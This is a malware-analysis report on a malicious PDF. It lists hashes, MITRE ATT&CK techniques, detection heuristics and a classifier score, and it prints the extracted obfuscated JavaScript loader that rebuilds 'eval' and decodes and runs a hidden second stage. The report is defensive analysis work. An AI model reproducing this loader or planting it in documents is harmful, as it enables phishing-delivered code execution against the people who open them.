PDF malware analysis — malicious · 7f9c30cd649e9adf

MALICIOUS

PDF

32.6 KB Authoring application: substr First seen: 2026-05-08

MD5: 77a8068b66e0d6a17c5c989e25b3ccc9 SHA-1: 25d1658744ba083cbef0ac1094eafa90121acf22 SHA-256: 7f9c30cd649e9adf0dcb8569a53a797ff76e552d4970050e9f8c9d1245a7a872

86 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified by multiple heuristics, which is designed to decode and execute a second-stage payload. The script reconstructs a URL from character codes and uses it to fetch and run the next stage. The ML classifier strongly indicates maliciousness.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 3

Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER

PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

javascript_obj0004_000.js pdf-javascript-stream PDF /JS object 4 at offset 0x8045 434 bytes

Filename	Kind	Source	Size
`javascript_obj0004_000.js`	pdf-javascript-stream	PDF /JS object 4 at offset 0x8045	434 bytes
SHA-256: `8fe942ce64ff842a7afeea8df920d79a735fe471ab023e590983c76a14d92c60`
Preview script First 1,000 lines of the extracted script s2='';v=producer;t='le';b='v';c='e';a=c.concat('a','n','b','w',b,'o');s=a[t.length-2].concat(b,a[1],t[0]);e=v[v]()[s];vyesz=e(v[4]+'i'.concat(v[4],t));q=vyesz[v](a.length-6,a.length+2);mzfzk=e(v[0].toUpperCase().concat(v[4],'r','ing.f',q[4],a[6],q));q=vyesz[v](t.length+12)[e(v[0]+'u'+'bjec'+v[4])]('k');k=q[t[0]+'en'.concat('gth')];i=t.length-2;while(i!=k){djjsy=1(q[i]);i++;djjsy-=(-1)(q[i]);s2=s2.concat(mzfzk(djjsy));i++;}e(s2);

SHA-256: 8fe942ce64ff842a7afeea8df920d79a735fe471ab023e590983c76a14d92c60

Preview script

First 1,000 lines of the extracted script

s2='';v=producer;t='le';b='v';c='e';a=c.concat('a','n','b','w',b,'o');s=a[t.length-2].concat(b,a[1],t[0]);e=v[v]()[s];vyesz=e(v[4]+'i'.concat(v[4],t));q=vyesz[v](a.length-6,a.length+2);mzfzk=e(v[0].toUpperCase().concat(v[4],'r','ing.f',q[4],a[6],q));q=vyesz[v](t.length+12)[e(v[0]+'u'+'bjec'+v[4])]('k');k=q[t[0]+'en'.concat('gth')];i=t.length-2;while(i!=k){djjsy=1*(q[i]);i++;djjsy-=(-1)*(q[i]);s2=s2.concat(mzfzk(djjsy));i++;}e(s2);

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